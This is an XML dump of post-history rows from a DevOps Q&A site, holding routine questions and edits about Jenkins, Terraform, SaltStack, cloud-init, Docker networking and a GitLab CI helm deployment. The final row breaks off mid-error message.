  <row Id="31228" PostHistoryTypeId="6" PostId="5808" RevisionGUID="4b5861da-8498-4c4d-8c37-10720f1968c6" CreationDate="2019-12-24T15:00:05.717" UserId="210" Comment="edited tags" Text="&lt;kubernetes&gt;&lt;security&gt;&lt;keycloak&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="31229" PostHistoryTypeId="10" PostId="5808" RevisionGUID="f3ab7a29-25a3-4753-94bd-b6124985ccc2" CreationDate="2019-12-24T15:01:21.287" UserId="210" Comment="103" Text="{&quot;Voters&quot;:[{&quot;Id&quot;:210,&quot;DisplayName&quot;:&quot;030&quot;}]}" />
  <row Id="31230" PostHistoryTypeId="6" PostId="5817" RevisionGUID="31de0950-850b-4d4f-95cb-8d6b05255a2f" CreationDate="2019-12-24T15:03:38.180" UserId="210" Comment="edited tags" Text="&lt;amazon-web-services&gt;&lt;amazon-sqs&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="31231" PostHistoryTypeId="10" PostId="5817" RevisionGUID="55451af1-c0c0-4b47-a07c-36af87512045" CreationDate="2019-12-24T15:03:51.227" UserId="210" Comment="103" Text="{&quot;Voters&quot;:[{&quot;Id&quot;:210,&quot;DisplayName&quot;:&quot;030&quot;}]}" />
  <row Id="31232" PostHistoryTypeId="10" PostId="5821" RevisionGUID="9f334237-6e0b-49cb-9bae-9eb2712b4938" CreationDate="2019-12-24T15:04:51.083" UserId="210" Comment="103" Text="{&quot;Voters&quot;:[{&quot;Id&quot;:210,&quot;DisplayName&quot;:&quot;030&quot;}]}" />
  <row Id="31233" PostHistoryTypeId="5" PostId="5821" RevisionGUID="70c853c2-b5b3-4ef1-bb2f-2db2c2c3fb84" CreationDate="2019-12-24T15:05:38.850" UserId="210" Comment="added 5 characters in body; edited title" Text="I would like to call the Jenkins CLI from a Jenkinsfile. I am thinking that I can use the shell directive and call the cli via the client jar. For example &#xD;&#xA;&#xD;&#xA;    sh 'java -jar /path/to/client.jar...' &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;What I am unsure about is how to get the client jar. I could do something like a wget to fetch it, but is there a better way? " ContentLicense="CC BY-SA 4.0" />
  <row Id="31234" PostHistoryTypeId="4" PostId="5821" RevisionGUID="70c853c2-b5b3-4ef1-bb2f-2db2c2c3fb84" CreationDate="2019-12-24T15:05:38.850" UserId="210" Comment="added 5 characters in body; edited title" Text="How to get the Jenkins CLI in a Jenkinsfile?" ContentLicense="CC BY-SA 4.0" />
  <row Id="31235" PostHistoryTypeId="5" PostId="5835" RevisionGUID="8b13dade-01e9-4663-877b-4828e8ef6a6d" CreationDate="2019-12-24T15:09:13.070" UserId="210" Comment="added 2 characters in body" Text="Salt stack state to recursively loop over a directory without explicitly specifying file names.&#xD;&#xA;Added single and multiple quotes, that didn't help. I don't wish to specify each file for a file replace. I want to loop all files under dir for replace.&#xD;&#xA;&#xD;&#xA;    {% for file in &quot;/path/{{ to }}/dir&quot; %}&#xD;&#xA;    {{ file }}:&#xD;&#xA;    file.replace:&#xD;&#xA;      - name: {{ file }}&#xD;&#xA;      - pattern: /from/&#xD;&#xA;      - repl: /{{ to }}/&#xD;&#xA;      - backup: False&#xD;&#xA;    {% endfor %}&#xD;&#xA;&#xD;&#xA;I tried single quotes and multiple quotes, but see the error. I see that the files are not read one by one as expected for a replace.&#xD;&#xA;&#xD;&#xA;    &quot;:{&quot;return&quot;:&quot;ERROR: Minions returned with non-zero exit code&#xD;&#xA;    d01cmw004:&#xD;&#xA;    Data failed to compile:&#xD;&#xA;    ----------&#xD;&#xA;    Rendering SLS 'base:projects.alip.process-server' failed: could not found    expected ':'; line 177&#xD;&#xA;    ---&#xD;&#xA;    [...]&#xD;&#xA;&#xD;&#xA;Can we specify a directory in a for Loop where we have multiple files to be replaced? Is there additional code that I am missing in the above FOR Loop?" ContentLicense="CC BY-SA 4.0" />
  <row Id="31236" PostHistoryTypeId="10" PostId="5835" RevisionGUID="6f9f4d6f-14fc-421b-aee3-7129cdf03d52" CreationDate="2019-12-24T15:09:52.907" UserId="210" Comment="103" Text="{&quot;Voters&quot;:[{&quot;Id&quot;:210,&quot;DisplayName&quot;:&quot;030&quot;}]}" />
  <row Id="31237" PostHistoryTypeId="5" PostId="5838" RevisionGUID="9c69c665-c071-447f-b6df-12e395f850f4" CreationDate="2019-12-24T15:11:12.137" UserId="210" Comment="edited body" Text="I am using this template to create aws resources.&#xD;&#xA;my count is 2, every thing is getting created as per plan,, i am attaching a 2nd ebs volume of 1 gb to both machines, which is also happening well, but the only issue is when i try to delete one ec2 instance by below cmd,, both of the 2nd ebs volume of 1gb are getting destory,,i checked they are connected on seperate instances.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    $ terraform destroy -target=aws_instance.jumpserver[1]&#xD;&#xA;    aws_vpc.main_vpc: Refreshing state... (ID: vpc-06b59734024ad6adc)&#xD;&#xA;    aws_key_pair.ProdKeypair: Refreshing state... (ID: ProdKeypair)&#xD;&#xA;    aws_security_group.sg_internet_facing: Refreshing state... (ID: sg-05a2739733f4f8a32)&#xD;&#xA;    aws_subnet.public_subnet: Refreshing state... (ID: subnet-0a8c6ea2718a44224)&#xD;&#xA;    aws_instance.jumpserver[1]: Refreshing state... (ID: i-05646d53baa34a988)&#xD;&#xA;    &#xD;&#xA;    An execution plan has been generated and is shown below.&#xD;&#xA;    Resource actions are indicated with the following symbols:&#xD;&#xA;      - destroy&#xD;&#xA;    &#xD;&#xA;    Terraform will perform the following actions:&#xD;&#xA;    &#xD;&#xA;      - aws_ebs_volume.vol_generic_data[0]&#xD;&#xA;    &#xD;&#xA;      - aws_ebs_volume.vol_generic_data[1]&#xD;&#xA;    &#xD;&#xA;      - aws_instance.jumpserver[1]&#xD;&#xA;    &#xD;&#xA;      - aws_volume_attachment.generic_data_vol_att[0]&#xD;&#xA;    &#xD;&#xA;      - aws_volume_attachment.generic_data_vol_att[1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;THis is the main.tf&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    # Define webserver inside the public subnets &#xD;&#xA;    resource &quot;aws_instance&quot; &quot;jumpserver&quot; {&#xD;&#xA;      count                       = &quot;${var.num_of_instances}&quot;&#xD;&#xA;      ami                         = &quot;${var.ami}&quot;&#xD;&#xA;      instance_type               = &quot;t2.micro&quot;&#xD;&#xA;      key_name                    = &quot;${aws_key_pair.ProdKeypair.id}&quot;&#xD;&#xA;      subnet_id                   = &quot;${aws_subnet.public_subnet.id}&quot;&#xD;&#xA;      vpc_security_group_ids      = [&quot;${aws_security_group.sg_internet_facing.id}&quot;]&#xD;&#xA;      associate_public_ip_address = true&#xD;&#xA;      source_dest_check           = false&#xD;&#xA;      #   user_data = &quot;${file(&quot;install.sh&quot;)}&quot;&#xD;&#xA;    &#xD;&#xA;      root_block_device = {&#xD;&#xA;        volume_type           = &quot;gp2&quot;&#xD;&#xA;        volume_size           =  &quot;8&quot;  &#xD;&#xA;        delete_on_termination = &quot;${var.delete_on_termincation}&quot;&#xD;&#xA;      }&#xD;&#xA;    &#xD;&#xA;      tags {&#xD;&#xA;        Name = &quot;${format(&quot;jump-%01d&quot;,count.index+1)}&quot;&#xD;&#xA;      }&#xD;&#xA;    &#xD;&#xA;      provisioner &quot;remote-exec&quot; {&#xD;&#xA;        inline = [&quot;sudo apt-get  -y install python&quot;]&#xD;&#xA;    &#xD;&#xA;        connection {&#xD;&#xA;          type        = &quot;ssh&quot;&#xD;&#xA;          user        = &quot;ubuntu&quot;&#xD;&#xA;          private_key = &quot;${file(var.private_key_path)}&quot;&#xD;&#xA;        }&#xD;&#xA;      }&#xD;&#xA;    }&#xD;&#xA;    &#xD;&#xA;    resource &quot;aws_ebs_volume&quot; &quot;vol_generic_data&quot; {&#xD;&#xA;      size              = &quot;1&quot;&#xD;&#xA;      count             = &quot;${var.num_of_instances}&quot;&#xD;&#xA;      type              = &quot;gp2&quot;&#xD;&#xA;      availability_zone = &quot;${element(aws_instance.jumpserver.*.availability_zone, count.index)}&quot;&#xD;&#xA;    &#xD;&#xA;     tags = {&#xD;&#xA;        Name = &quot;${format(&quot;jump-%01d&quot;,count.index+1)}&quot;&#xD;&#xA;      }&#xD;&#xA;    }&#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;    resource &quot;aws_volume_attachment&quot; &quot;generic_data_vol_att&quot; {&#xD;&#xA;      device_name = &quot;/dev/xvdf&quot;&#xD;&#xA;      volume_id   = &quot;${element(aws_ebs_volume.vol_generic_data.*.id, count.index)}&quot;&#xD;&#xA;      instance_id = &quot;${element(aws_instance.jumpserver.*.id, count.index)}&quot;&#xD;&#xA;      count       = &quot;${var.num_of_instances}&quot;&#xD;&#xA;    }&#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;    # Define webserver inside the private subnet&#xD;&#xA;    resource &quot;aws_instance&quot; &quot;backendserver&quot; {&#xD;&#xA;      ami                         = &quot;${var.ami}&quot;&#xD;&#xA;      instance_type               = &quot;t2.micro&quot;&#xD;&#xA;      key_name                    = &quot;${aws_key_pair.ProdKeypair.id}&quot;&#xD;&#xA;      subnet_id                   = &quot;${aws_subnet.private_subnet.id}&quot;&#xD;&#xA;      vpc_security_group_ids      = [&quot;${aws_security_group.sg_backend.id}&quot;]&#xD;&#xA;      associate_public_ip_address = false&#xD;&#xA;      source_dest_check           = false&#xD;&#xA;      user_data                   = &quot;${file(&quot;install.sh&quot;)}&quot;&#xD;&#xA;    &#xD;&#xA;      tags {&#xD;&#xA;        Name = &quot;backendserver&quot;&#xD;&#xA;      }&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="31238" PostHistoryTypeId="10" PostId="5838" RevisionGUID="27264a25-61f5-415f-81c1-bc0427778929" CreationDate="2019-12-24T15:12:00.137" UserId="210" Comment="103" Text="{&quot;Voters&quot;:[{&quot;Id&quot;:210,&quot;DisplayName&quot;:&quot;030&quot;}]}" />
  <row Id="31239" PostHistoryTypeId="10" PostId="5867" RevisionGUID="40e0050a-5b87-4b43-96c2-952f1f4f158b" CreationDate="2019-12-24T15:12:44.910" UserId="210" Comment="103" Text="{&quot;Voters&quot;:[{&quot;Id&quot;:210,&quot;DisplayName&quot;:&quot;030&quot;}]}" />
  <row Id="31240" PostHistoryTypeId="5" PostId="5867" RevisionGUID="2132a20e-f2b2-4ff4-a6bc-95021c146e29" CreationDate="2019-12-24T15:13:32.707" UserId="210" Comment="added 9 characters in body" Text="Trying to add a new user to a project, but the task keeps failing with the following error:&#xD;&#xA;&#xD;&#xA;    &quot;You are trying to invite a user from outside your directory but you are not allowed&#xD;&#xA;    to make common users tasks. Please contact your directory admin.&quot;&#xD;&#xA;&#xD;&#xA;I am the admin/owner of this organization and project.&#xD;&#xA;&#xD;&#xA;I have worked on a different project under a different organization, and had no issues adding this user to that project.&#xD;&#xA;&#xD;&#xA;Any idea what I am missing here?  What does &quot;make common users tasks&quot; mean?" ContentLicense="CC BY-SA 4.0" />
  <row Id="31241" PostHistoryTypeId="5" PostId="5986" RevisionGUID="039ea08f-157b-4429-af71-989dec4a3402" CreationDate="2019-12-24T15:14:07.437" UserId="210" Comment="deleted 32 characters in body" Text="So, I have this part in my cloud-init:&#xD;&#xA;&#xD;&#xA;    runcmd:&#xD;&#xA;      - echo : RSA 'node.crt' &gt;&gt; /etc/ipsec.secrets&#xD;&#xA;&#xD;&#xA;I literally can't make it to work. &#xD;&#xA;&#xD;&#xA;I tried these variations:&#xD;&#xA;&#xD;&#xA;    runcmd:&#xD;&#xA;      - echo : RSA 'node.crt' &gt;&gt; /etc/ipsec.secrets&#xD;&#xA;&#xD;&#xA;    runcmd:&#xD;&#xA;      - echo &quot;: RSA 'node.crt'&quot; &gt;&gt; /etc/ipsec.secrets&#xD;&#xA;&#xD;&#xA;    runcmd:&#xD;&#xA;      - echo \: RSA 'node.crt' &gt;&gt; /etc/ipsec.secrets&#xD;&#xA;&#xD;&#xA;    runcmd:&#xD;&#xA;      - echo &quot;\: RSA 'node.crt'&quot; &gt;&gt; /etc/ipsec.secrets" ContentLicense="CC BY-SA 4.0" />
  <row Id="31242" PostHistoryTypeId="10" PostId="5986" RevisionGUID="736d8a2e-9cb2-4228-9dbf-71ec17f84bf5" CreationDate="2019-12-24T15:14:13.643" UserId="210" Comment="103" Text="{&quot;Voters&quot;:[{&quot;Id&quot;:210,&quot;DisplayName&quot;:&quot;030&quot;}]}" />
  <row Id="31243" PostHistoryTypeId="10" PostId="5973" RevisionGUID="b24773d7-9ee9-458f-b5ff-8fa615d33226" CreationDate="2019-12-24T15:15:00.977" UserId="210" Comment="104" Text="{&quot;Voters&quot;:[{&quot;Id&quot;:210,&quot;DisplayName&quot;:&quot;030&quot;}]}" />
  <row Id="31244" PostHistoryTypeId="5" PostId="5973" RevisionGUID="70dfb2db-5efd-4607-9756-c156f48ec473" CreationDate="2019-12-24T15:15:59.553" UserId="210" Comment="deleted 1 character in body" Text="I'm currently trying to scale a crawler in the cloud.  &#xD;&#xA;I'm wondering what would be the best way to automate the work-flow, considering the following conditions:  &#xD;&#xA;- Guaranteed bandwidth, CPU and memory per crawler, no matter how many crawls are running in parallel.  &#xD;&#xA;- Sometimes there are 3 crawlers running at the same time, sometimes 10000.  &#xD;&#xA;- There is no need of communication between crawlers, and no shared queue.  &#xD;&#xA;- The crawl should start quickly after the demand of the user. &#xD;&#xA;&#xD;&#xA;The potential &quot;work-flow&quot; could be:&#xD;&#xA;&#xD;&#xA; 1. A user pushes a button to start a crawl.&#xD;&#xA; 2. An API receives the request.   &#xD;&#xA; 3. The API asks if there is a container available to start a crawl.  &#xD;&#xA;&#xD;&#xA;Here 2 options:  &#xD;&#xA;3a - A container was in stand-by, ready to start .  &#xD;&#xA;3b - No container available, so a new container is started .   &#xD;&#xA;4 - The IP:PORT of the container is sent to the API, and tagged as &quot;reserved&quot; .   &#xD;&#xA;5 - The API receives the IP:PORT .  &#xD;&#xA;6 - The API sends the request to http://IP:PORT with the required parameters to start the crawl (URL, etc.).  &#xD;&#xA;Here 2 options:  &#xD;&#xA;6a - Expected behavior: The crawl starts.  &#xD;&#xA;=&gt; A new container is started and is tagged as &quot;available&quot; mode for potential new crawl to come.  &#xD;&#xA;6b - Unexpected behavior: The request to start the crawl doesn't reach the target.  &#xD;&#xA;=&gt; The container is tagged as &quot;available&quot; after n seconds without being used to start a crawl.  &#xD;&#xA;7 - The container used for the crawl is deleted.  &#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="31245" PostHistoryTypeId="6" PostId="6019" RevisionGUID="fa31fd52-8ac5-4309-9267-0dd9e01549bb" CreationDate="2019-12-24T15:16:32.730" UserId="210" Comment="edited tags" Text="&lt;jenkins&gt;&lt;jenkins-pipeline&gt;&lt;jenkins-plugins&gt;&lt;aws-cloudformation&gt;&lt;ibm-cloud&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="31246" PostHistoryTypeId="10" PostId="6019" RevisionGUID="60800478-8d9d-4319-a078-a556b810c7cf" CreationDate="2019-12-24T15:16:38.513" UserId="210" Comment="103" Text="{&quot;Voters&quot;:[{&quot;Id&quot;:210,&quot;DisplayName&quot;:&quot;030&quot;}]}" />
  <row Id="31250" PostHistoryTypeId="2" PostId="10280" RevisionGUID="153ae60f-1ecd-4ed0-9384-3bdfcfee9516" CreationDate="2019-12-24T15:30:12.997" UserId="210" Text="Website: https://github.com/vmware-tanzu/velero" ContentLicense="CC BY-SA 4.0" />
  <row Id="31251" PostHistoryTypeId="1" PostId="10280" RevisionGUID="153ae60f-1ecd-4ed0-9384-3bdfcfee9516" CreationDate="2019-12-24T15:30:12.997" UserId="210" ContentLicense="CC BY-SA 4.0" />
  <row Id="31252" PostHistoryTypeId="2" PostId="10281" RevisionGUID="41fc4fac-0a06-429c-88a5-d24e95718989" CreationDate="2019-12-24T15:30:12.997" UserId="210" Text="Use this tag if a question is about Velero." ContentLicense="CC BY-SA 4.0" />
  <row Id="31253" PostHistoryTypeId="1" PostId="10281" RevisionGUID="41fc4fac-0a06-429c-88a5-d24e95718989" CreationDate="2019-12-24T15:30:12.997" UserId="210" ContentLicense="CC BY-SA 4.0" />
  <row Id="31256" PostHistoryTypeId="2" PostId="10282" RevisionGUID="18e0d7a1-890f-4c76-a245-93386586ca8e" CreationDate="2019-12-24T15:35:26.157" UserId="210" Text="Website: https://jenkins.io/doc/book/pipeline/multibranch/" ContentLicense="CC BY-SA 4.0" />
  <row Id="31257" PostHistoryTypeId="1" PostId="10282" RevisionGUID="18e0d7a1-890f-4c76-a245-93386586ca8e" CreationDate="2019-12-24T15:35:26.157" UserId="210" ContentLicense="CC BY-SA 4.0" />
  <row Id="31258" PostHistoryTypeId="2" PostId="10283" RevisionGUID="609f2b7e-4c72-44cc-87b2-3d3355507ded" CreationDate="2019-12-24T15:35:26.157" UserId="210" Text="Use this tag if a question is about Jenkins Multibranch Pipeline" ContentLicense="CC BY-SA 4.0" />
  <row Id="31259" PostHistoryTypeId="1" PostId="10283" RevisionGUID="609f2b7e-4c72-44cc-87b2-3d3355507ded" CreationDate="2019-12-24T15:35:26.157" UserId="210" ContentLicense="CC BY-SA 4.0" />
  <row Id="31260" PostHistoryTypeId="6" PostId="6036" RevisionGUID="47dcd666-85d1-439b-b1ff-a2379aff8acb" CreationDate="2019-12-24T15:40:30.837" UserId="210" Comment="edited tags" Text="&lt;kubernetes&gt;&lt;google-cloud-platform&gt;&lt;redis&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="31261" PostHistoryTypeId="10" PostId="6036" RevisionGUID="b4ec910a-81b6-4cf7-aadf-9d25682d5984" CreationDate="2019-12-24T15:40:34.570" UserId="210" Comment="103" Text="{&quot;Voters&quot;:[{&quot;Id&quot;:210,&quot;DisplayName&quot;:&quot;030&quot;}]}" />
  <row Id="31262" PostHistoryTypeId="6" PostId="6103" RevisionGUID="ed575130-e19d-4b2c-8d51-c52ab84b1bd6" CreationDate="2019-12-24T15:41:22.773" UserId="210" Comment="edited tags" Text="&lt;kubernetes&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="31263" PostHistoryTypeId="10" PostId="6103" RevisionGUID="69d430d7-fcd2-4341-8f76-c9340d47d356" CreationDate="2019-12-24T15:41:26.897" UserId="210" Comment="103" Text="{&quot;Voters&quot;:[{&quot;Id&quot;:210,&quot;DisplayName&quot;:&quot;030&quot;}]}" />
  <row Id="31266" PostHistoryTypeId="5" PostId="6106" RevisionGUID="6501c473-aca4-4465-af0c-6029f84c8a54" CreationDate="2019-12-24T15:43:10.833" UserId="210" Comment="deleted 8 characters in body" Text="I am trying to connect a webhook from GitLab (external standalone) to Jenkins (a pod on Openshift)&#xD;&#xA;However, when anyone tries to log onto Jenkins, they are redirected to Openshift first, asked to provide their credentials, then they are provided with an OAuth and is redirected back to Jenkins.&#xD;&#xA;&#xD;&#xA;So when GitLab attempts to alert Jenkins of the new build (pushed by developers), it fails to pass through this OAuth phase.&#xD;&#xA;&#xD;&#xA;Any ideas how to workaround this?&#xD;&#xA;&#xD;&#xA;*NOTE: Yes, I am aware we can attach GitLab's webhook onto Openshift directly... but I don't want to do this because Openshift's Jenkinsfile lacks the capabilities of retrieving the &quot;branch name&quot; that was pushed by the developers* &#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="31267" PostHistoryTypeId="10" PostId="6106" RevisionGUID="ecb455c0-598b-4056-a705-22e062d88f64" CreationDate="2019-12-24T15:43:25.770" UserId="210" Comment="103" Text="{&quot;Voters&quot;:[{&quot;Id&quot;:210,&quot;DisplayName&quot;:&quot;030&quot;}]}" />
  <row Id="31270" PostHistoryTypeId="2" PostId="10284" RevisionGUID="e1a95224-69a9-4e16-bbb5-7f6163ff292b" CreationDate="2019-12-24T17:18:49.497" UserId="210" Text="One could use [Composerize][1] to create a consistent docker-compose.yml.&#xD;&#xA;&#xD;&#xA;There seems to be two options. Options one is to enter some docker run command, e.g. `docker run app/test_clients` on their website, which will return:&#xD;&#xA;&#xD;&#xA;    version: '3.3'&#xD;&#xA;    services:&#xD;&#xA;        test_clients:&#xD;&#xA;            image: app/test_clients&#xD;&#xA;&#xD;&#xA;Or use the [command line][2]: `composerize docker run app/test_clients`.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://composerize.com/&#xD;&#xA;  [2]: https://github.com/magicmark/composerize#cli" ContentLicense="CC BY-SA 4.0" />
  <row Id="31272" PostHistoryTypeId="2" PostId="10285" RevisionGUID="9ddc1d73-fc8a-4d7b-a7c7-0d1f45c695da" CreationDate="2019-12-24T17:23:39.313" UserId="210" Text="You could also introduce a YAML linter to your CI to ensure that a consistent docker-compose.yml format will be enforced, like [yaml-lint][1]. According the docs it should be possible to define a certain format. If the pipeline fails, then the developer has to apply changes in order to fix the build.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://www.npmjs.com/package/yaml-lint" ContentLicense="CC BY-SA 4.0" />
  <row Id="31275" PostHistoryTypeId="6" PostId="6232" RevisionGUID="96e44c68-be01-4b79-848d-710745670f67" CreationDate="2019-12-24T17:30:20.310" UserId="210" Comment="edited tags" Text="&lt;docker-compose&gt;&lt;linting&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="31277" PostHistoryTypeId="5" PostId="6151" RevisionGUID="63886f82-4b8b-471a-93db-5ef8cccb96d0" CreationDate="2019-12-24T17:33:50.263" UserId="210" Comment="deleted 63 characters in body" Text="The ultimate problem I am facing is this:&#xD;&#xA;&#xD;&#xA;    [root@527eb70c04c9 my-service]# ping google.com&#xD;&#xA;    ping: google.com: Name or service not known&#xD;&#xA;&#xD;&#xA;Inside my container, I can't resolve public domains, although the network is defined as not internal:&#xD;&#xA;&#xD;&#xA;    networks:&#xD;&#xA;      my-service-network:&#xD;&#xA;        driver: overlay&#xD;&#xA;        internal: false&#xD;&#xA;        attachable: true&#xD;&#xA;        ipam:&#xD;&#xA;          driver: default&#xD;&#xA;          config:&#xD;&#xA;            - subnet: 10.0.2.0/24&#xD;&#xA;&#xD;&#xA;As soon as I change my subnet from 10.0.2.0 to 10.0.5.0 (really just &quot;NOT&quot; have it be 10.0.2.0) everything works:&#xD;&#xA;&#xD;&#xA;    networks:&#xD;&#xA;      ess-team-service:&#xD;&#xA;        driver: overlay&#xD;&#xA;        internal: false&#xD;&#xA;        attachable: true&#xD;&#xA;        labels:&#xD;&#xA;          - &quot;group=ess-services&quot;&#xD;&#xA;        ipam:&#xD;&#xA;          driver: default&#xD;&#xA;          config:&#xD;&#xA;          - subnet: 10.0.5.0/24&#xD;&#xA;&#xD;&#xA;    ping google.com&#xD;&#xA;    PING google.com (172.217.22.14) 56(84) bytes of data.&#xD;&#xA;    64 bytes from fra16s14-in-f14.1e100.net (172.217.22.14): icmp_seq=1 ttl=61 time=25.0 ms&#xD;&#xA;    64 bytes from fra16s14-in-f14.1e100.net (172.217.22.14): icmp_seq=2 ttl=61 time=22.7 ms&#xD;&#xA;    64 bytes from fra16s14-in-f14.1e100.net (172.217.22.14): icmp_seq=3 ttl=61 time=22.5 ms&#xD;&#xA;    ^C&#xD;&#xA;    --- google.com ping statistics ---&#xD;&#xA;    3 packets transmitted, 3 received, 0% packet loss, time 2002ms&#xD;&#xA;    rtt min/avg/max/mdev = 22.575/23.462/25.083/1.161 ms&#xD;&#xA;&#xD;&#xA;A colleague referred to the problem as being caused because Docker's own nameserver is on 10.0.2.0 but I can't find information to back this theory up let alone confirm it.&#xD;&#xA;&#xD;&#xA;The main problem is: Sometimes it works. Most times it doesn't but sometimes I can ping google inside the container while the subnet IS 10.0.2.0" ContentLicense="CC BY-SA 4.0" />
  <row Id="31278" PostHistoryTypeId="10" PostId="6151" RevisionGUID="ac961044-1a6e-4785-9a53-b01063d99bd4" CreationDate="2019-12-24T17:34:59.263" UserId="210" Comment="103" Text="{&quot;Voters&quot;:[{&quot;Id&quot;:210,&quot;DisplayName&quot;:&quot;030&quot;}]}" />
  <row Id="31279" PostHistoryTypeId="6" PostId="6175" RevisionGUID="071c9aa6-469b-4d1b-9f40-b7e98b6e12de" CreationDate="2019-12-24T18:36:09.153" UserId="210" Comment="edited tags" Text="&lt;jenkins&gt;&lt;jenkins-pipeline&gt;&lt;jenkins-plugins&gt;&lt;api&gt;&lt;slack&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="31280" PostHistoryTypeId="4" PostId="6175" RevisionGUID="071c9aa6-469b-4d1b-9f40-b7e98b6e12de" CreationDate="2019-12-24T18:36:09.153" UserId="210" Comment="edited tags" Text="Can I use the Jenkins REST API with user input?" ContentLicense="CC BY-SA 4.0" />
  <row Id="31281" PostHistoryTypeId="10" PostId="6175" RevisionGUID="3b9b3a44-8538-414f-a5c2-954aa6a40c72" CreationDate="2019-12-24T18:49:54.953" UserId="210" Comment="103" Text="{&quot;Voters&quot;:[{&quot;Id&quot;:210,&quot;DisplayName&quot;:&quot;030&quot;}]}" />
  <row Id="31282" PostHistoryTypeId="4" PostId="6172" RevisionGUID="cbcbe5de-db97-40ab-a9f2-da732830fba9" CreationDate="2019-12-24T18:51:16.680" UserId="210" Comment="edited title; edited tags" Text="How to tell on which node a local storage PV has been created on k8s?" ContentLicense="CC BY-SA 4.0" />
  <row Id="31283" PostHistoryTypeId="6" PostId="6172" RevisionGUID="cbcbe5de-db97-40ab-a9f2-da732830fba9" CreationDate="2019-12-24T18:51:16.680" UserId="210" Comment="edited title; edited tags" Text="&lt;kubernetes&gt;&lt;kubernetes-volume&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="31284" PostHistoryTypeId="10" PostId="6172" RevisionGUID="f1a2e344-03c9-428e-aba3-d6408c5355b1" CreationDate="2019-12-24T18:51:57.427" UserId="210" Comment="103" Text="{&quot;Voters&quot;:[{&quot;Id&quot;:210,&quot;DisplayName&quot;:&quot;030&quot;}]}" />
  <row Id="31285" PostHistoryTypeId="5" PostId="6216" RevisionGUID="30e25101-f4c2-4aee-8cb0-20b24998a419" CreationDate="2019-12-24T18:53:52.250" UserId="210" Comment="deleted 69 characters in body" Text="I have a kubernetes cluster with 1 master and 2 workers. All nodes have their IP address. Let's call them like this:&#xD;&#xA;    &#xD;&#xA;&#xD;&#xA; - master-0&#xD;&#xA; - worker-0&#xD;&#xA; - worker-1&#xD;&#xA;&#xD;&#xA;The network pod policy and all my nodes communication are setting up correctly, all works perfectly. If I specify this infrastructure, it's just to be more specific about my case.&#xD;&#xA;&#xD;&#xA;Using helm I have created a chart which deploy a basic nginx. It's a docker image that I build on my private gitlab registry.&#xD;&#xA;&#xD;&#xA;With the gitlab ci, I have created a job which used two functions:&#xD;&#xA;&#xD;&#xA;    # Init helm client on k8s cluster for using helm with gitlab runner&#xD;&#xA;    function init_helm() {&#xD;&#xA;      docker login -u &quot;$CI_REGISTRY_USER&quot; -p &quot;$CI_REGISTRY_PASSWORD&quot; &quot;$CI_REGISTRY&quot;&#xD;&#xA;      mkdir -p /etc/deploy&#xD;&#xA;      echo ${kube_config} | base64 -d &gt; ${KUBECONFIG}&#xD;&#xA;      kubectl config use-context ${K8S_CURRENT_CONTEXT}&#xD;&#xA;      helm init --client-only&#xD;&#xA;      helm repo add stable https://kubernetes-charts.storage.googleapis.com/&#xD;&#xA;      helm repo add incubator https://kubernetes-charts-incubator.storage.googleapis.com/&#xD;&#xA;      helm repo update&#xD;&#xA;    }&#xD;&#xA;    &#xD;&#xA;    # Deploy latest tagged image on k8s cluster&#xD;&#xA;    function deploy_k8s_cluster() {&#xD;&#xA;      echo &quot;Create and apply secret for docker gitlab runner access to gitlab private registry ...&quot;&#xD;&#xA;      kubectl create secret -n &quot;$KUBERNETES_NAMESPACE_OVERWRITE&quot; \&#xD;&#xA;        docker-registry gitlab-registry \&#xD;&#xA;        --docker-server=&quot;https://registry.gitlab.com/v2/&quot; \&#xD;&#xA;        --docker-username=&quot;${CI_DEPLOY_USER:-$CI_REGISTRY_USER}&quot; \&#xD;&#xA;        --docker-password=&quot;${CI_DEPLOY_PASSWORD:-$CI_REGISTRY_PASSWORD}&quot; \&#xD;&#xA;        --docker-email=&quot;$GITLAB_USER_EMAIL&quot; \&#xD;&#xA;        -o yaml --dry-run | kubectl replace -n &quot;$KUBERNETES_NAMESPACE_OVERWRITE&quot; --force -f -&#xD;&#xA;      echo &quot;Build helm dependancies in $CHART_TEMPLATE&quot;&#xD;&#xA;      cd $CHART_TEMPLATE/&#xD;&#xA;      helm dep build&#xD;&#xA;      export DEPLOYS=&quot;$(helm ls | grep $PROJECT_NAME | wc -l)&quot;&#xD;&#xA;      if [[ ${DEPLOYS}  -eq 0 ]]; then&#xD;&#xA;        echo &quot;Creating the new chart ...&quot;&#xD;&#xA;        helm install --name ${PROJECT_NAME} --namespace=${KUBERNETES_NAMESPACE_OVERWRITE} . -f values.yaml&#xD;&#xA;      else&#xD;&#xA;      echo &quot;Updating the chart ...&quot;&#xD;&#xA;        helm upgrade ${PROJECT_NAME} --namespace=${KUBERNETES_NAMESPACE_OVERWRITE} . -f values.yaml&#xD;&#xA;      fi&#xD;&#xA;    } &#xD;&#xA;&#xD;&#xA;The first function allow the gitlabrunner to login with docker, init helm and kubectl. The second to deploy on the cluster my image.&#xD;&#xA;&#xD;&#xA;All the process works well, e-g my jobs are passed on the gitlab ci, no error occurred except for the deployment of the pod.&#xD;&#xA;&#xD;&#xA;**Indeed I have this error**:&#xD;&#xA;&#xD;&#xA;    Failed to pull image &quot;registry.gitlab.com/path/to/repo/project/image:TAG_NUMBER&quot;: rpc error: code&#xD;&#xA;    = Unknown desc = Error response from daemon: Get https://registry.gitlab.com/v2/path/to/repo/project/image/manifests/image:TAG_NUMBER: 